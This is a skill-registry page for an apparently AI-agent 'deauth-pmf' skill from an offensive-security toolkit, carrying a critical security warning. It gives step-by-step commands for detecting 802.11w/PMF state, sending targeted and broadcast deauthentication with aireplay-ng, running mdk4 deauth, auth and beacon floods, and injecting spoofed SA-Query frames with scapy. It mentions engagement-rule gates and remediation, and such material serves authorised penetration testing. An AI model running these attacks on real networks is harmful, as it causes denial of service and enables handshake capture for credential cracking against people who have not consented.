CtrlK
BlogDocsLog inGet started
Tessl Logo

deauth-pmf

Targeted and broadcast 802.11 deauthentication / disassociation, 802.11w/PMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).

65

Quality

80%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md
SKILL.md
Quality
Evals
Security

Deauth / Disassoc + 802.11w (PMF) Posture

This is a shared-primitive skill. Most callers need it to coerce a single client reconnect (handshake capture or evil-twin roaming). The standalone deliverable is the PMF state finding: pmf_state ∈ {disabled, optional, required} is always worth documenting as a network finding regardless of whether deauth is needed for the attack path.

Prerequisites

  • Monitor-mode + injection-capable adapter on the target channel.
  • Tools: aircrack-ng suite (aireplay-ng, airodump-ng), mdk4, tshark or iw.
  • Deauth requires permitted_actions: deauth_for_handshake_capture in plan/roe.json. Broadcast deauth / DoS requires posture=loud.

Step 1 — PMF state detection from beacons

Read MFPC (Management Frame Protection Capable) and MFPR (Required) bits from the AP's RSN IE before issuing any deauth frames:

# Capture beacons for the target BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/pmf_recon \
    --output-format pcap <mon-iface>
# 5–10 seconds is enough to collect multiple beacons.

# Decode RSN capabilities: MFPC + MFPR bits
tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields \
    -e wlan.ssid \
    -e wlan_mgt.rsn.capabilities.mfpc \
    -e wlan_mgt.rsn.capabilities.mfpr \
    2>/dev/null | sort -u

# Interpretation:
# MFPC=0, MFPR=0  → PMF disabled (deauth frames accepted by all clients)
# MFPC=1, MFPR=0  → PMF optional (deauth works against clients that don't support PMF)
# MFPC=1, MFPR=1  → PMF required (deauth frames are encrypted; unprotected deauth rejected)
# Alternative: iw to inspect connected interface (if you have network access)
iw dev <iface> info | grep -i pmf
# or from scan results:
iw <iface> scan | grep -A 20 "<SSID>" | grep -i "protected\|pmf\|mfp"

Decision based on PMF state:

PMF stateDeauth viable?Action
disabled (MFPC=0)Yes — all clients accept unprotected deauthProceed to Step 2
optional (MFPC=1, MFPR=0)Partial — clients that didn't negotiate PMF accept deauthProceed; note some clients may be immune
required (MFPC=1, MFPR=1)No — all deauth rejected unless encryptedPMKID still viable; mark deauth as blocked

Step 2 — Targeted single-client deauth (standard / stealth)

# Identify connected clients first
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> <mon-iface>
# Bottom section shows STATION (client) MACs.

# Send a SINGLE targeted deauth frame (one reconnect trigger)
sudo aireplay-ng --deauth 1 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

# Confirm the client reassociates and watch for the handshake in
# airodump's header: "WPA handshake: <BSSID>"
# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored
# (e.g., client is in power-save mode or noisy RF environment)
sudo aireplay-ng --deauth 5 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

OPSEC: Targeted deauth to a single client is visible in WIDS but low-severity. One or two frames at engagement cadence = noise. Burst deauth (>10 frames) triggers WIDS alerts on most enterprise platforms.

Step 3 — Broadcast deauth (posture=loud, DoS testing)

# Broadcast deauth to all clients on the AP (posture=loud only)
# This is a DoS action — confirm it is an accepted risk in RoE.
sudo aireplay-ng --deauth 0 \
    -a <BSSID> \
    <mon-iface>
# --deauth 0 = unlimited broadcast; Ctrl+C to stop.

# Broadcast disassociation variant
sudo aireplay-ng --deauth 10 \
    -a <BSSID> \
    <mon-iface>

RoE gate for broadcast deauth:

HARD STOP: broadcast deauth requires posture=loud AND
  plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing"
  This is a denial-of-service action — all clients lose connectivity.

Step 4 — mdk4 beacon flood / auth flood (DoS testing)

# mdk4 deauth flood (more evasive — randomizes source MACs)
sudo mdk4 <mon-iface> d \
    -B <BSSID> \
    -c <CHANNEL>

# mdk4 auth flood (overwhelms AP's association table)
sudo mdk4 <mon-iface> a \
    -a <BSSID>

# mdk4 beacon flood (SSID pollution — interferes with scanning)
sudo mdk4 <mon-iface> b \
    -n "TargetSSID-DoS" \
    -c <CHANNEL>

Note: mdk4 beacon flood does not disconnect clients; it pollutes the visible network list. Auth flood + deauth flood together cause AP memory/state table exhaustion on older firmware.

Step 5 — Unprotected action-frame attacks (PMF optional/disabled)

Where PMF is optional or disabled, non-deauth management frames (SA Query, Channel Switch Announcement) may also be unauthenticated:

# Check for SA-Query implementation via scapy (unprotected SA-Query test)
# This tests whether the AP responds to unauthenticated SA-Query frames,
# indicating incomplete PMF implementation even when MFPC=1.
sudo python3 - << 'PYEOF'
from scapy.all import *
from scapy.layers.dot11 import *

pkt = RadioTap() / \
      Dot11(type=0, subtype=13, addr1=<CLIENT_MAC>, addr2=<SPOOF_MAC>, addr3=<BSSID>) / \
      Dot11Action(category=8) / Raw(load=b'\x01\x00\x00\x01')
# category=8 = SA Query; action 0x01 = SA Query Response
sendp(pkt, iface=<mon-iface>, count=3, inter=0.1)
PYEOF
# If the client responds without encrypted SA-Query, PMF negotiation
# is incomplete (client accepted the connection without PMF).

Evidence

Always write the PMF finding:

kg_add_node(
    kind="finding",
    label=f"802.11w/PMF State: {pmf_state_label} on {ssid}",
    props={
        "key": f"pmf-state::{bssid}",
        "severity": {
            "disabled": "high",
            "optional": "medium",
            "required": "info",
        }[pmf_state],
        "pmf_state": pmf_state,          # "disabled" | "optional" | "required"
        "mfpc": mfpc,                    # bool
        "mfpr": mfpr,                    # bool
        "deauth_viable": pmf_state != "required",
        "bssid": bssid,
        "ssid": ssid,
        "remediation": (
            "Set MFP=Required on the AP (MFPR=1). "
            "WPA3 mandates PMF-required by spec. "
            "WPA2 networks should be upgraded to PMF=Required."
        ),
    },
)

If deauth was used for handshake capture, cross-reference the wpa2-psk or wpa3-sae skill for the resulting Credential node.

ZFP

  1. tshark output showing MFPC/MFPR bits from beacon RSN capabilities.
  2. Pcap showing deauth frame(s) and client re-association (or PMF-protected rejection).
  3. airodump header line "WPA handshake: " if deauth was for handshake capture.

OPSEC notes

  • A single targeted deauth (--deauth 1) is the minimum impact action. Prefer it over any broadcast variant.
  • 802.11w PMF-required networks: deauth is cryptographically blocked. Do not waste frames. PMKID capture (wpa2-psk Path A) still works on these networks and doesn't require deauth.
  • mdk4 auth flood / beacon flood are loud and persistent — immediately visible in any WIDS. Reserve for explicit DoS-assessment objectives.
  • Regulatory: deauth is a TX operation. Confirm iw reg get and channel authorization before any transmission.

References

  • IEEE 802.11w-2009 — Management Frame Protection amendment.
  • wpa2-psk skill — Path B (handshake capture) calls this skill for deauth.
  • wpa3-sae skill — Path A (transition-mode downgrade) may use deauth.
  • evil-twin-karma skill — Step 3 (roaming coercion) calls this skill.
  • mdk4: github.com/aircrack-ng/mdk4
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.